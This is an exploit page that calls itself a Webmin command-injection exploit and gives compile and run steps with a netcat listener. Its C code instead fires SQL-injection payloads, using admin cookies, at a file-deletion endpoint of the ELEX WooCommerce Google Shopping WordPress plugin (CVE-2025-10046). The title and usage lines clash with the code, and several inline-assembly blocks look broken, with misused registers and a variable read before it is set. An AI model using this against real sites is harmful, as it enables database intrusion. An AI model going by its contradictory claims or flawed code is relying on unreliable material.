Command Injection in webmin


Description

The Webmin Exploit targets vulnerable versions of the Webmin service. It leverages multiple techniques to execute arbitrary code, allowing an attacker to gain unauthorized access to the target system.

Author :

Byte Reaper :

Build :

    # gcc -no-pie exploit.c -o webminExploit -lcurl

Run Exploit :

    # ./webminExploit [URL_TARGET] [LHOST] [LPORT]

    1- START listening : 
    # nc -lvnp 4444

Exploit :

File: exploit.c — Size: 8,97 KB — Lines: 231

  
   #include <stdio.h>
   #include <string.h>
   #include "argparse.h"
   #include <time.h>
   #include <curl/curl.h>
   #include <stdlib.h>
   #include <sys/utsname.h>
   #define FULL 4000
   #define D_P 3000
   int verbose=0;
   int selCookie=0;
   const char *baseurl = NULL;
   const char *cookies = NULL;
   static void asmExit()
   {
       printf("\e[0;35m[+] Exit syscall : ================================================\n");
       const char *mes6 = "\e[0;34m[+] Success Get pid.\e[0m\n";
       const char *mes7 = "\e[0;31m[-] Error : Error Get pid,Exit...\e[0m\n";
       const char *mes8 = "\e[0;34m[+] Success Get tid.\e[0m\n";
       const char *mes9 = "\e[0;31m[-] Error : Error Get tid,Exit...\e[0m\n";
       size_t len6 = strlen(mes6);
       size_t len7 = strlen(mes7);
       size_t len8 = strlen(mes8);
       size_t len9 = strlen(mes9);
       pid_t pid;
       pid_t tid;
       long a;
       long b;
       __asm__ volatile
       (
           "syscall\n\t"
           :"=a"(a)
           :"a"(0x27)
           :"rcx",
           "r11",
           "memory"
       );
       __asm__ volatile
       (
           "cmp $0x0, %[var3]\n\t"
           "je .resulPid\n\t"
           ".doPid:\n\t"
           "mov $0x1, %%rdi\n\t"
           "mov $0x1, %%rax\n\t"
           "mov %[len6], %%rdx\n\t"
           "mov %[len6], %%rsi\n\t"
           "syscall\n\t"
           "jmp .fiPid\n\t"
           ".resulPid:\n\t"
           "mov %[len7], %%rdx\n\t"
           "mov $0x1, %%rax\n\t"
           "mov $0x1, %%rdi\n\t"
           "mov %[mes7], %%rsi\n\t"
           "syscall\n\t"
           "mov $0x0, %%rdi\n\t"
           "mov $0x3C, %%rax\n\t"
           "syscall\n\t"
           ".fiPid:\n\t"
           :
           : [var3] "r" (a),
             [mes6] "r" (mes6),
             [len6] "r" (len6),
             [mes7] "r" (mes7),
             [len7] "r" (len7)
           : "rax",
             "rdi",
             "rsi",
             "rdx"
       );
       pid = (pid_t)a;
       __asm__ volatile
       (
           "syscall\n\t"
           :"=a"(b)
           :"a"(0xBA)
           :"rcx",
           "r11",
           "memory"
       );
       __asm__ volatile
       (
           "cmp $0x0, %[varTId]\n\t"
           "je .bfGF\n\t"
           ".dkp:\n\t"
           "mov $0x1, %%rdi\n\t"
           "mov $0x1, %%rax\n\t"
           "mov %[mes8], %%rsi\n\t"
           "mov %[len8], %%rdx\n\t"
           "syscall\n\t"
           "jmp .plrg\n\t"
           ".bfGF:\n\t"
           "mov $0x1, %%rdi\n\t"
           "mov %[mes9], %%rsi\n\t"
           "mov %[len9], %%rdx\n\t"
           "mov $0x1, %%rax\n\t"
           "syscall\n\t"
           "mov $0x3C, %%rax\n\t"
           "xor %%rdi, %%rdi\n\t"
           "syscall\n\t"
           ".plrg:\n\t"
           :
           : [varTId] "r" (tid),
             [mes8] "r" (mes8),
             [len8] "r" (len8),
             [mes9] "r" (mes9),
             [len9] "r" (len9)
           : "rax",
             "rdi",
             "rsi",
             "rdx"
       );
       tid = (pid_t)b;
       printf("[+] PID : %d\n", (int)a);
       printf("[+] TID : %d\n", (int)b);
       __asm__ volatile
       (
               "mov $0x3E, %%rax\n\t"
               "mov %[pidValue], %%rdi\n\t"
               "mov $0x0, %%rsi\n\t"
               "syscall\n\t"
               :
               : [pidValue] "r" (a)
               : "rax",
                 "rdi",
                 "rsi"
   
       );
       printf("\e[0;35m===================================================================\n");
   }
   
   struct Mem
   {
       char *buffer;
       size_t len;
   };
   size_t write_cb(void *ptr,
                   size_t size,
                   size_t nmemb,
                   void *userdata)
   {
       size_t total = size * nmemb;
       struct Mem *m = (struct Mem *)userdata;
       char *tmp = realloc(m->buffer, m->len + total + 1);
       if (tmp == NULL)
       {
           fprintf(stderr, "\e[0;31m[-] Failed to allocate memory!\e[0m\n");
           asmExit();
       }
       m->buffer = tmp;
       memcpy(&(m->buffer[m->len]), ptr, total);
       m->len += total;
       m->buffer[m->len] = '\0';
       return total;
   }
   
   const char *pyL[] =
           {
               "UNION ALL SELECT NULL",
               "AND 532=CONVERT(INT,(UNION ALL SELECTCHAR(55)+CHAR(55)))",
               "UNION ALL SELECT 'INJ'||'ECT'||'XXX',4,5,6",
               "or 1=1/*",
               "or '1'='1'",
               " HAVING 1=1",
               NULL
           };
   const char *word[] =
           {
           "SQL syntax",
           "Warning: mysql_",
           "Warning: mysqli_",
           "unrecognized token",
           "feed_meta_content",
           "manage_feed_data",
           NULL
   };
   
   static void req(const char *url)
   {
       char full[FULL];
       CURL *curl = curl_easy_init();
       struct Mem response;
       response.buffer = NULL;
       response.len = 0;
       CURLcode res;
       if (curl == NULL)
       {
           printf("\e[0;31m[-] Error Create CURL object !\e[0m\n");
           asmExit();
       }
       if (curl)
       {
           struct curl_slist *h = NULL;
           char *encode = NULL;
           if (response.buffer != NULL && response.len != 0)
           {
               printf("\e[0;31m[-] Error Clean Buffer and len response!\e[0m\n");
               asmExit();
           }
           printf("\e[0;34m[+] Response buffer and len clean success.\e[0m\n");
           printf("\t - [+] Buffer -> NULL\e[0m\n");
           printf("\t - [+] Len -> 0\e[0m\n");
           printf("\e[0;34m[+] Create Object CURL Success.\e[0m\n");
           int len1 = snprintf(full,
                               FULL,
                               "%s/wordpress/wp-admin/admin.php?page=elex-product-feed-manage/includes/elex-manage-feed-ajax.php",
                               url);
           if (len1 < 0 || len1 >= sizeof(full))
           {
               printf("\e[0;31m[-] Error Write full url : Full url is long, exit...\e[0m\n");
               printf("\e[0;31m[-] Len Full url : %d\e[0m\n", len1);
               printf("\e[0;31m[-] Size full url : %d\e[0m\n", (int) sizeof(full));
               asmExit();
           }
           printf("\e[0;34m[+] Write Full url success.\e[0m\n");
           printf("\e[0;34m[+] Base URL : %s\e[0m\n", url);
           printf("\e[0;34m[+] Full url : %s\e[0m\n", full);
           for (int u = 0; pyL[u] != NULL; u++)
           {
               encode = curl_easy_escape(curl,
                                               pyL[u],
                                               strlen(pyL[u]));
               if (encode == NULL)
               {
                   printf("\e[0;31m[-] Error Encode Payload, Exit...\e[0m\n");
                   asmExit();
               }
               printf("\e[0;34m[+] Success Encode Payload.\e[0m\n");
               printf("\e[0;34m[+] Encode Payload : %s\e[0m\n", encode);
               curl_easy_setopt(curl,
                                CURLOPT_URL,
                                full);
               char data[D_P];
               int len2 = snprintf(data, D_P,
                                   "action=elex_gpf_manage_feed_remove_file&file_to_delete=%s",
                                   encode);
               if (len2 < 0 || len2 >= sizeof(data)) {
                   printf("\e[0;31m[-] Error Write post data : data post is long !\e[0m\n");
                   asmExit();
               }
               printf("\e[0;34m[+] Write POST data success.\n");
               printf("[+] POST DATA : \e[0m\n");
               printf("\t%s\n", data);
               curl_easy_setopt(curl,
                                CURLOPT_URL,
                                full);
               curl_easy_setopt(curl,
                                CURLOPT_POSTFIELDS,
                                data);
               curl_easy_setopt(curl,
                                CURLOPT_POSTFIELDSIZE,
                                strlen(data));
               if (selCookie != 0)
               {
                   curl_easy_setopt(curl,
                                    CURLOPT_COOKIEFILE,
                                    cookies);
                   curl_easy_setopt(curl,
                                    CURLOPT_COOKIEJAR,
                                    cookies);
               }
               else
               {
                   printf("\e[0;33m[+] Please enter cookie admin (CVE-2025-10046 exploit  Privilege  Access : High (admin account)).\e[0m\n");
               }
               curl_easy_setopt(curl,
                                CURLOPT_ACCEPT_ENCODING,
                                "");
               curl_easy_setopt(curl,
                                CURLOPT_FOLLOWLOCATION,
                                1L);
               curl_easy_setopt(curl,
                                CURLOPT_WRITEFUNCTION,
                                write_cb);
               curl_easy_setopt(curl,
                                CURLOPT_WRITEDATA,
                                &response);
               curl_easy_setopt(curl,
                                CURLOPT_CONNECTTIMEOUT,
                                5L);
               struct timespec rqtp, rmtp;
               rqtp.tv_sec  = 1;
               rqtp.tv_nsec = 500000000;
               register long r10Register asm("r10");
               r10Register = 0;
               printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n",
                      rqtp.tv_sec, rqtp.tv_nsec);
               int ret;
               __asm__ volatile
               (
                   "syscall"
                   : "=a"(ret)
                   : "a"(0xE6),
                     "D"((long)0),
                     "S"((long)0),
                     "d"(&rqtp),
                     "r"(r10Register)
                   : "rcx",
                     "r11",
                     "memory"
               );
               curl_easy_setopt(curl,
                                CURLOPT_TIMEOUT,
                                10L);
               curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYPEER,
                                0L);
               curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYHOST,
                                0L);
               if (verbose != 0)
               {
                   printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
                   curl_easy_setopt(curl,
                                    CURLOPT_VERBOSE,
                                    1L);
               }
   
               h = curl_slist_append(h,
                                     "Accept: text/html");
               h = curl_slist_append(h,
                                     "Accept-Encoding: gzip, deflate, br");
               h = curl_slist_append(h,
                                     "Accept-Language: en-US,en;q=0.5");
               h = curl_slist_append(h,
                                     "Connection: keep-alive");
               curl_easy_setopt(curl,
                                CURLOPT_HTTPHEADER,
                                h);
               res = curl_easy_perform(curl);
               curl_slist_free_all(h);
               curl_free(encode);
               encode  = NULL;
               h = NULL;
               if (res == CURLE_OK)
               {
                   long http = 0;
                   char *redR = NULL;
                   curl_easy_getinfo(curl,
                                     CURLINFO_REDIRECT_URL,
                                     &redR);
                   curl_easy_getinfo(curl,
                                     CURLINFO_RESPONSE_CODE,
                                     &http);
                   printf("\e[0;35m[+] Request : --------------------------------------------------------------------------------\e[0m\n");
                   printf("\e[0;34m[+] Request Send successfully.\e[0m\n");
                   if (redR != NULL) {
                       printf("\e[0;32m[+] Redirect Page : %s\e[0m\n", redR);
                   } else {
                       printf("\e[0;32m[+] Redirect Page Not Detected.\e[0m\n");
                   }
                   printf("\e[0;32m[+] Http code : %ld\e[0m\n", http);
                   if (http == 302)
                   {
                       printf("\e[0;33m[+] Not found file Please Use cookie admin access for request.\e[0m\n");
                   }
                   if (http >= 200 && http < 300)
                   {
   
                       printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n",
                              http);
                       if (response.buffer != NULL)
                       {
                           printf("=============================================== [Response] ===============================================\e[0m\n");
                           printf("%s\n", response.buffer);
                           printf("[+] Len response : %d\n", response.len);
                           printf("==========================================================================================================\n");
                       }
                       printf("\e[0;33m[+] Check Word in response...\n");
                       int f = 0;
                       for (int o = 0; word[o] != NULL; o++)
                       {
                           if (response.buffer == NULL)
                           {
                               printf("\e[0;31m[-] Error : Response server is NULL !\n");
                               asmExit();
                           }
                           else
                               {
                               if (strstr(response.buffer, word[o]) != NULL)
                               {
                                   printf("\e[0;34m[+] Word found in response.\n");
                                   printf("\e[0;37m[+] Word : %s\e[0m\n", word[o]);
                                   printf("\e[0;35m=============================================== [Word response] ===============================================\e[0m\n");
                                   printf("%s\e[0m\n", response.buffer);
                                   printf("\e[0;32m[+] Len : %zu\e[0m\n", response.len);
                                   printf("\e[0;35m===============================================================================================================\e[0m\n");
                               }
                               else
                               {
                                   const char *mes1 = "\e[0;31m[-] Var is NULL Not change !\n";
                                   size_t len1 = strlen(mes1);
                                   __asm__ volatile
                                   (
                                   "mov $0x1, %[var]\n\t"
                                   "test %[var], %[var]\n\t"
                                   "je .fS\n\t"
                                   "jmp .reSf\n\t"
                                   ".fS:\n\t"
                                   "mov $0x1, %%rax\n\t"
                                   "mov $0x1, %%rdi\n\t"
                                   "mov %[mes1], %%rsi\n\t"
                                   "mov %[len1], %%rdx\n\t"
                                   "syscall\n\t"
                                   "xor %%rdi, %%rdi\n\t"
                                   "mov $0x3C, %%rax\n\t"
                                   "syscall\n\t"
                                   ".reSf:\n\t"
                                   : [var] "+r"(f)
                                   :  [mes1] "r"(mes1),
                                      [len1] "r"(len1)
                                   :"rax",
                                    "rdi",
                                    "rsi",
                                    "rdx"
   
                                   );
                               }
   
                           }
                       }
                       if (f != 0)
                       {
                           printf("\e[0;31m[-] Not found word in response.\e[0m\n");
                       }
                   }
                   printf("\e[0;31m[-] Http code Not range (%ld)\e[0m\n", http);
               }
               else
                   {
                   printf("\e[0;31m[-] The request was not sent !\e[0m\n");
                   printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
                   asmExit();
   
               }
           }
           curl_easy_cleanup(curl);
           if (response.buffer)
           {
               free(response.buffer);
               response.buffer = NULL;
               response.len = 0;
           }
       }
   }
   
   int main(int argc, const char **argv)
   {
       printf("\e[0;37m+-------------------------------------------------------------+\e[0m\n");
       printf("\e[0;37m| Author       : Byte Reaper                                  |\e[0m\n");
       printf("\e[0;37m| CVE          : CVE-2025-10046                               |\e[0m\n");
       printf("\e[0;37m| Date         : 2025-09-07                                   |\e[0m\n");
       printf("\e[0;37m| Target File  : elex-manage-feed-ajax.php                    |\e[0m\n");
       printf("\e[0;37m| Version      : 1.4.3                                        |\e[0m\n");
       printf("\e[0;37m| Plugin       : ELEX WooCommerce Google Shopping             |\e[0m\n");
       printf("\e[0;37m+-------------------------------------------------------------+\e[0m\n");
       printf("\e[1;31m---------------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
       printf("[+] System detect...\e[0m\n");
       struct utsname os;
       __asm__ volatile
       (
           "mov %0, %%rdi\n\t"
           "mov $0x3F, %%rax\n\t"
           "syscall\n\t"
           :
           : "r"(&os)
           : "rax",
             "rdi"
       );
       printf("\e[0;36m[+] System Name: %s\e[0m\n", os.sysname);
       printf("\e[0;36m[+] Machine    : %s\e[0m\n", os.machine);
       if (strstr(os.sysname, "Linux") != NULL)
       {
           printf("\e[0;36m[+] Linux OS, Check Machine architecture...\e[0m\n");
       }
       else
       {
           printf("[-] OS Not Linux 64 bit (%s),Exit...\e[0m\n", os.sysname);
           asmExit();
       }
       if (strstr(os.machine, "x86_64") != NULL)
       {
           printf("\e[0;36m[+] Machine architecture is 64 bit, run exploit...\e[0m\n");
       }
       else
       {
           printf("[-] OS Not architecture 64 bit (%s), Exit...\e[0m\n", os.machine);
           asmExit();
       }
       struct argparse_option options[] =
               {
                       OPT_HELP(),
                       OPT_STRING('u',
                                  "url",
                                  &baseurl,
                                  "Enter Target Url (BASE URL WordPress)"),
                       OPT_STRING('c',
                                  "cookies",
                                  &cookies,
                                  "Enter File cookies admin access"),
                       OPT_BOOLEAN('v',
                                   "verbose",
                                   &verbose,
                                   "Verbose Mode (request info)"),
                       OPT_END(),
               };
       struct argparse argparse;
       argparse_init(&argparse,
                     options,
                     NULL,
                     0);
   
       argparse_parse(&argparse,
                      argc,
                      argv);
       if (!baseurl)
       {
           printf("\e[0;31m[-] Please Enter target Url !\e[0m\n");
           printf("\e[0;31m[-] Example : ./CVE-2025-10046 -u http://\e[0m\n");
           asmExit();
       }
       if (cookies)
       {
           __asm__ volatile
           (
               "mov $0x1, %[var1]\n\t"
               "test %[var1], %[var1]\n\t"
               "je .notP\n\t"
               "jmp .finish1\n\t"
               ".notP:\n\t"
               "mov $0xE7, %%rax\n\t"
               "mov $0x0, %%rdi\n\t"
               "syscall\n\t"
               ".finish1:\n\t"
               :[var1] "+r" (selCookie)
               :
               : "rax",
                 "rdi"
   
           );
       }
       if (verbose)
       {
           __asm__ volatile
           (
               "mov $0x1, %[var2]\n\t"
               "test %[var2], %[var2]\n\t"
               "je .notP1\n\t"
               "jmp .exitGF\n\t"
               ".notP1:\n\t"
               "mov $0xE7, %%rax\n\t"
               "mov $0x0, %%rdi\n\t"
               "syscall\n\t"
               ".exitGF:\n\t"
               :[var2] "+r" (verbose)
               :
               : "rax",
                 "rdi"
   
           );
       }
       req(baseurl);
       __asm__ volatile
       (
               "mov $0x0, %%rdi\n\t"
               "mov $0x3C, %%rax\n\t"
               "syscall\n\t"
               :
               :
               :"rax",
                "rdi"
       );
   
   }


  
Download

References :

  • NVD : link
  • CVE : link